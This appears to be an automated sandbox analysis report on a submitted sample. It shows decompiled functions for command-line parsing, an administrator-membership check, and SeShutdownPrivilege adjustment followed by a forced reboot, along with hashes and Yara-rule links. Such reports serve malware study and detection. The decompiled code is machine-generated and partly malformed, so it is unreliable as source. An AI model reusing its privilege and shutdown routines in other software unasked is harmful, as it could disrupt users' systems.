Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 32027423b1b2ed74d0ee09dedd0b1943ba3869bd22e8aa42296a4293b6142e44
Instruction ID: 26a8bece8cfdfbcf3c575b61f5b9b8390fa3b96f7cce8b803f04fe6d45e2f418
Opcode Fuzzy Hash: 32027423b1b2ed74d0ee09dedd0b1943ba3869bd22e8aa42296a4293b6142e44
Instruction Fuzzy Hash: 45F08C30520B099EC37DDE2ECD8065EBBEEAAA4A60310492FE16FC2159D7306840CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011B6656, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B6656(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x011b6659
0x011b6662
0x011b666f
0x011b6664
0x011b6666
0x011b6666

APIs

GetFileAttributesA.KERNELBASE(?,011B4751,?,011B4E08,?), ref: 011B6659

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 92e56dfee134d9d4c8275a20accb55db7989527b5d1491d52106ac68f06aaab3
Instruction ID: 3171f20d2ffda1a3cfa1c8de5144b5579696a2c72a8d8b2a2637a2d286de0b4a
Opcode Fuzzy Hash: 92e56dfee134d9d4c8275a20accb55db7989527b5d1491d52106ac68f06aaab3
Instruction Fuzzy Hash: AAB092B6121480126A280635B8999962C41BAC173ABE41BA0F032C10D8CB3EC886D100

Uniqueness

Uniqueness Score: -1.00%

Function 011B4C70, Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B4C70(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x011b4c7a
0x011b4c81

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 011B4C7A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7e096a3b892c92d5ee6d64caf490de103cde493bfb74a52948a4b8cd5372949a
Instruction ID: 6e46ee9e8b8b99beeae2d71574ec8ea4c9f2c71b96354d68342668a90bc48164
Opcode Fuzzy Hash: 7e096a3b892c92d5ee6d64caf490de103cde493bfb74a52948a4b8cd5372949a
Instruction Fuzzy Hash: 8AB0123204420CB7CF101EC2F809F853F1DEBC4761F140010F61C460408A7294508795

Uniqueness

Uniqueness Score: -1.00%

Function 011B4C90, Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B4C90(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x011b4c98
0x011b4c9f

APIs

GlobalFree.KERNELBASE ref: 011B4C98

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 8df9e4bf6c6c21339aea31844c1e80dad3aff73d6a5e3589f751cd74e064d138
Instruction ID: 4d45ed2035b183593854a9c806d74aab6e8bcc0a56c237003c156b96753d2e4e
Opcode Fuzzy Hash: 8df9e4bf6c6c21339aea31844c1e80dad3aff73d6a5e3589f751cd74e064d138
Instruction Fuzzy Hash: 7BB0123100010CB78F101A42F8088453F1DDBC0260B000020F51C420118B3398518684

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011B5C50, Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 421
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E011B5C50(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x11b8004; // 0x714bc98c
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E011B6C80(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E011B6DC8(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x11b8004; // 0x714bc98c
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E011B5933( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E011B4495(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x11b9124 = E011B6233();
									_t75 = 0;
								}
								return E011B6C80(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E011B4495(0, 0x521, 0x11b1140, 0, 0x40, 0);
												_t85 =  *0x11b8588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E011B6627(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E011B6627(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E011B5BCB(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E011B16A0(0x11b8c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E011B6627(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E011B6627(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x11b8a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E011B5BCB(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x11b8b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x11b8a3a;
																}
																E011B16A0(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E011B6534(_t218, 0x104, 0x11b1140);
																if(E011B31D0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x11b8a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x11b8a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x11b8a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x11b8a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x11b8a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x11b9a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x11b9a2c =  *0x11b9a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x11b8d48 =  *0x11b8d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x11b9a2c =  *0x11b9a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x11b9a2c =  *0x11b9a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x11b8d48 =  *0x11b8d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x11b9a2c =  *0x11b9a2c | 0x00000004;
																										L70:
																										 *0x11b8a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x11b9a2c = 3;
																	 *0x11b8a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x11b8a2c != 0 &&  *0x11b8b3e == 0) {
						if(GetModuleFileNameA( *0x11b9a3c, 0x11b8b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E011B6670(0x11b8b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x011b5c50
0x011b5c5b
0x011b5c62
0x011b5c65
0x011b5c68
0x011b5c69
0x011b5c6a
0x011b5c6f
0x011b61b6
0x011b5c7d
0x00000000
0x011b5c7d
0x011b5c85
0x011b5c89
0x011b5ca6
0x00000000
0x011b5ca6
0x011b5caa
0x011b5cb2
0x00000000
0x011b5cb8
0x011b5cb8
0x011b5cc0
0x011b5cc2
0x011b5cc4
0x011b5cc6
0x011b5cc7
0x011b5cc9
0x011b5cfb
0x00000000
0x00000000
0x00000000
0x00000000
0x011b5ccb
0x011b5ccb
0x011b5ccf
0x00000000
0x011b5cf1
0x011b5cf1
0x011b5cfd
0x011b5cfd
0x011b5d01
0x011b5d3f
0x00000000
0x011b5d45
0x011b5d45
0x011b5d4c
0x011b5d4f
0x011b5d50
0x00000000
0x011b5d50
0x011b5d03
0x011b5d0d
0x011b5d24
0x011b60ad
0x011b60ad
0x011b61b9
0x011b61bc
0x011b61bd
0x011b61c0
0x011b61c7
0x011b5d2a
0x011b5d2a
0x011b5d32
0x011b5d35
0x011b5d36
0x00000000
0x011b5d36
0x011b5d0f
0x011b5d11
0x011b5d14
0x011b5d1a
0x011b5d16
0x011b5d16
0x011b5d16
0x00000000
0x011b5d14
0x011b5d0d
0x011b5d01
0x011b5ccf
0x00000000
0x011b5d51
0x011b5d51
0x011b5d57
0x011b5d5d
0x011b5d6c
0x011b61c8
0x011b61cd
0x011b61d0
0x011b61d1
0x011b61d9
0x011b61e0
0x011b61f7
0x011b621a
0x011b6222
0x011b61f9
0x011b6205
0x011b620f
0x011b6214
0x011b6214
0x011b6232
0x011b5d72
0x011b5d72
0x011b5d7c
0x011b5dd4
0x00000000
0x00000000
0x00000000
0x00000000
0x011b5d7e
0x011b5d80
0x011b5dd6
0x011b5dd6
0x011b5dde
0x011b5df9
0x011b5dfc
0x011b6184
0x011b6194
0x011b6199
0x011b61a0
0x011b61a3
0x011b61a3
0x011b61aa
0x011b61aa
0x011b5e02
0x011b5e05
0x011b60bb
0x011b60d1
0x00000000
0x011b60d7
0x011b60e9
0x011b60ec
0x011b60ee
0x011b60f0
0x011b60f0
0x011b60f3
0x011b60f3
0x011b60f5
0x011b60f6
0x011b60fc
0x00000000
0x011b6102
0x011b6104
0x011b610e
0x011b6122
0x011b6124
0x011b612e
0x011b6142
0x011b6142
0x011b6148
0x011b6157
0x00000000
0x011b615d
0x011b616b
0x011b6178
0x011b6178
0x011b6130
0x011b6132
0x011b613c
0x00000000
0x00000000
0x00000000
0x00000000
0x011b613c
0x011b6110
0x011b6112
0x011b611c
0x00000000
0x00000000
0x00000000
0x00000000
0x011b611c
0x011b610e
0x011b60fc
0x011b60bd
0x011b60c0
0x011b60c0
0x00000000
0x011b5e0b
0x011b5e0b
0x011b5e0e
0x011b6001
0x011b6008
0x00000000
0x011b600e
0x011b6020
0x011b6023
0x011b6025
0x011b6027
0x011b6027
0x011b602a
0x011b602a
0x011b602c
0x011b602d
0x011b6033
0x00000000
0x011b6039
0x011b6039
0x011b603f
0x011b604e
0x00000000
0x011b6054
0x011b605c
0x011b6064
0x011b6069
0x011b606f
0x011b6071
0x011b6071
0x011b6088
0x011b6092
0x011b6099
0x011b60a7
0x00000000
0x00000000
0x00000000
0x00000000
0x011b60a7
0x011b604e
0x011b6033
0x011b5e14
0x011b5e14
0x011b5e17
0x011b5f85
0x011b5f9b
0x00000000
0x011b5fa1
0x011b5fa1
0x011b5fa9
0x011b5faf
0x011b5fb5
0x011b5fb8
0x011b5fc3
0x011b5fc6
0x011b5fef
0x011b5fc8
0x011b5fca
0x011b5fcb
0x011b5fcd
0x011b5fe5
0x011b5fcf
0x011b5fd2
0x011b5fdb
0x011b5fd4
0x011b5fd4
0x011b5fd4
0x011b5fd2
0x011b5fcd
0x011b5ff4
0x011b5ff6
0x011b5ff8
0x011b5ffc
0x011b5fa9
0x011b5f87
0x011b5f8a
0x011b5f8a
0x00000000
0x011b5e1d
0x011b5e1d
0x011b5e20
0x011b5f3d
0x011b5f4b
0x00000000
0x011b5f51
0x011b5f59
0x011b5f61
0x00000000
0x011b5f63
0x011b5f65
0x00000000
0x011b5f67
0x011b5f69
0x00000000
0x011b5f6b
0x00000000
0x011b5f6b
0x011b5f69
0x011b5f65
0x011b5f61
0x011b5f3f
0x011b5f3f
0x011b5f3f
0x011b5f41
0x011b5f73
0x011b5f73
0x011b5f73
0x00000000
0x011b5e26
0x011b5e26
0x011b5e29
0x011b5e52
0x011b5e6f
0x011b5f2b
0x00000000
0x011b5f31
0x011b5e75
0x011b5e75
0x011b5e7e
0x011b5e86
0x011b5e88
0x011b5e8e
0x011b5e91
0x011b5e9c
0x011b5e9f
0x011b5ef1
0x011b5ef2
0x00000000
0x011b5ea1
0x011b5ea1
0x011b5ea4
0x011b5ee6
0x011b5ea6
0x011b5ea6
0x011b5ea9
0x011b5edd
0x00000000
0x011b5eab
0x011b5eab
0x011b5eae
0x011b5ed4
0x00000000
0x011b5eb0
0x011b5eb1
0x011b5eb4
0x011b5ec8
0x011b5eb6
0x011b5eb9
0x011b5ebf
0x011b5ef8
0x011b5ef8
0x011b5ebb
0x011b5ebb
0x011b5ebb
0x011b5eb9
0x011b5eb4
0x011b5eae
0x011b5ea9
0x011b5ea4
0x011b5efe
0x011b5f00
0x011b5f02
0x011b5f06
0x011b5e86
0x011b5e54
0x011b5e56
0x011b5e61
0x011b5e61
0x00000000
0x011b5e2b
0x011b5e2f
0x00000000
0x011b5e35
0x011b5e35
0x011b5e35
0x011b5e37
0x011b5e37
0x011b5e40
0x00000000
0x011b5e46
0x00000000
0x011b5e46
0x011b5e40
0x011b5e2f
0x011b5e29
0x011b5e20
0x011b5e17
0x011b5e0e
0x00000000
0x00000000
0x00000000
0x011b5d82
0x011b5d82
0x011b5d82
0x00000000
0x011b5d82
0x011b5d80
0x011b5d7c
0x011b5d6c
0x00000000
0x011b5cb2
0x011b5d8b
0x011b5db6
0x011b61b0
0x011b5dbc
0x011b5dbe
0x011b5dc9
0x011b5dc9
0x011b5db6
0x011b61b2
0x011b61b2
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 011B5CA0
GetModuleFileNameA.KERNEL32(011B8B3E,00000104,00000000,?,?), ref: 011B5DAE
CharUpperA.USER32(?), ref: 011B5DF0
CharUpperA.USER32(-00000052), ref: 011B5E93
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 011B5F21
CharUpperA.USER32(?), ref: 011B5F59
CharUpperA.USER32(-0000004E), ref: 011B5FBA
CharUpperA.USER32(?), ref: 011B605C
CloseHandle.KERNEL32(00000000,011B1140,00000000,00000040,00000000), ref: 011B61A3
ExitProcess.KERNEL32 ref: 011B61AA

Strings

:, xrefs: 011B60CA
RegServer, xrefs: 011B5F18
", xrefs: 011B60DF
", xrefs: 011B5D2A

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 7aa85bba0c6e473951de2b2e7c9d2e0cb594773b68f8dd91832dc230283fec0f
Instruction ID: baf7ebb7af1801045420fed916351eadfe909133129e30ef6535793d5132cc65
Opcode Fuzzy Hash: 7aa85bba0c6e473951de2b2e7c9d2e0cb594773b68f8dd91832dc230283fec0f
Instruction Fuzzy Hash: A0D14D71A042655AEFBE9F3C98C83F9BF67AB16304F0841A9C596D6186D7B089C3CF11

Uniqueness

Uniqueness Score: -1.00%

Function 011B1F9B, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E011B1F9B(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x11b9a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x11b8004; // 0x714bc98c
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E011B4495(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E011B6C80(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E011B4495(0, 0x522, 0x11b1140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E011B1EC1();
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x011b1f9b
0x011b1f9b
0x011b1f9e
0x011b1fa3
0x011b1faf
0x011b1fb2
0x011b1fd0
0x011b1fd8
0x011b1fe6
0x011b1ef2
0x011b1ef7
0x011b1efe
0x011b1f01
0x011b1f19
0x011b1f3b
0x011b1f47
0x011b1f53
0x011b1f5a
0x011b1f65
0x011b1f6d
0x011b1f6e
0x011b1f6f
0x011b1f82
0x011b1f8d
0x011b1f84
0x011b1f84
0x00000000
0x011b1f84
0x011b1f71
0x011b1f71
0x00000000
0x011b1f71
0x011b1f1b
0x011b1f1b
0x011b1f20
0x011b1f20
0x011b1f21
0x011b1f21
0x011b1f23
0x011b1f24
0x011b1f27
0x011b1f2c
0x011b1f2c
0x011b1f93
0x011b1f9a
0x011b1fda
0x011b1fde
0x00000000
0x011b1fde
0x011b1fb4
0x011b1fbf
0x011b1fc6
0x011b1fce
0x00000000
0x00000000
0x00000000
0x00000000
0x011b1fce
0x011b1fa5
0x011b1fa5
0x011b1fad
0x011b1fe4
0x011b1fe5
0x00000000
0x00000000
0x00000000
0x011b1fad

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 011B1F08
OpenProcessToken.ADVAPI32(00000000), ref: 011B1F0F
ExitWindowsEx.USER32(00000002,00000000), ref: 011B1FDE

Strings

SeShutdownPrivilege, xrefs: 011B1F35

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 62399722ab5837f24fcec158837e4633b4c42cd7800c0fbfb2376f655debe351
Instruction ID: 86c6e4021b9cec256f98b6d43bcc0353ece83d54716fbcaf8c0528903f288097
Opcode Fuzzy Hash: 62399722ab5837f24fcec158837e4633b4c42cd7800c0fbfb2376f655debe351
Instruction Fuzzy Hash: 10210272A00205BBDB385BA5BCDAFFF3AB8DB85B54F12002DFA02E6085C7348445D362

Uniqueness

Uniqueness Score: -1.00%

Function 011B180E, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 70
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E011B180E(intOrPtr* __ecx) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				_Unknown_base(*)()* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t14;
				_Unknown_base(*)()* _t20;
				long _t28;
				void* _t35;
				struct HINSTANCE__* _t36;
				signed int _t38;
				intOrPtr* _t39;

				_t14 =  *0x11b8004; // 0x714bc98c
				_v8 = _t14 ^ _t38;
				_v12 = 0x500;
				_t37 = __ecx;
				_v16.Value = 0;
				_v28 = __ecx;
				_t28 = 0;
				_t36 = LoadLibraryA("advapi32.dll");
				if(_t36 != 0) {
					_t20 = GetProcAddress(_t36, "CheckTokenMembership");
					_v20 = _t20;
					if(_t20 != 0) {
						 *_t37 = 0;
						_t28 = 1;
						if(AllocateAndInitializeSid( &_v16, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v24) != 0) {
							_t37 = _t39;
							 *0x11ba288(0, _v24, _v28);
							_v20();
							if(_t39 != _t39) {
								asm("int 0x29");
							}
							FreeSid(_v24);
						}
					}
					FreeLibrary(_t36);
				}
				return E011B6C80(_t28, _t28, _v8 ^ _t38, _t35, _t36, _t37);
			}

0x011b1816
0x011b181d
0x011b1825
0x011b182b
0x011b182d
0x011b1835
0x011b1838
0x011b1840
0x011b1844
0x011b184c
0x011b1852
0x011b1857
0x011b1871
0x011b1874
0x011b187d
0x011b1882
0x011b188c
0x011b1892
0x011b1897
0x011b189e
0x011b189e
0x011b18a3
0x011b18a3
0x011b187d
0x011b18aa
0x011b18aa
0x011b18c0

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011B18FB), ref: 011B183A
